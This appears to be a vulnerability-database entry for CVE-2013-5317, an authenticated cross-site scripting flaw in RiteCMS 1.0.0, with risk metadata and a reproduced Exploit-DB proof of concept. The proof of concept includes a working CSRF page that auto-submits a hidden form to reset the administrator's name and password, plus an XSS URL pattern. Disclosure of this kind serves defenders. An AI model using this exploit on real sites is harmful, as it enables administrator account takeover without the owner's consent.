CVE-2013-5317

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Published 2013-08-20 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

4.5

Description

Cross-site scripting (XSS) vulnerability in RiteCMS 1.0.0 allows remote authenticated users to inject arbitrary web script or HTML via the mode parameter to cms/index.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-27315 webapps php text · 1 KB

Yashar shahinzadeh · 2013-08-03

RiteCMS 1.0.0 - Multiple Vulnerabilities

text exploit Source: Exploit-DB

###########################################################################################
# Exploit Title: RiteCMS multiple vulnerabilities
# Date: 2013 30 July
# Exploit Author: Yashar shahinzadeh
# Credit goes for: ha.cker.ir
# Vendor Homepage: http://ritecms.com/
# Tested on: Linux & Windows, PHP 5.2.9
# Affected Version : 1.0.0
#
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir }
###########################################################################################

Summary:
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1. CSRF - Change administrator's password
2. Cross site scripting

1. CSRF - Adding an admin account:
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<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
                action="http://[Path to RiteCMS]/cms/index.php" method="post">
                <input type="hidden" name="mode" value="users">
                <input type="hidden" name="id" value="1">
                <input type="hidden" name="name" value="admin1">
				<input type="hidden" name="new_pw" value="admin">
				<input type="hidden" name="new_pw_r" value="admin">
				<input type="hidden" name="type" value="1">
				<input type="hidden" name="edit_user_submitted" value="%C2%A0OK%C2%A0">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>


2. Cross site scripting (After auth):
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http://localhost:80//ritecms.1.0.0.tinymce/cms/index.php?mode=[XSS]

Application impact

Vendor	Product	Versions	Fixed
ritecms	ritecms	`1.0.0`

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.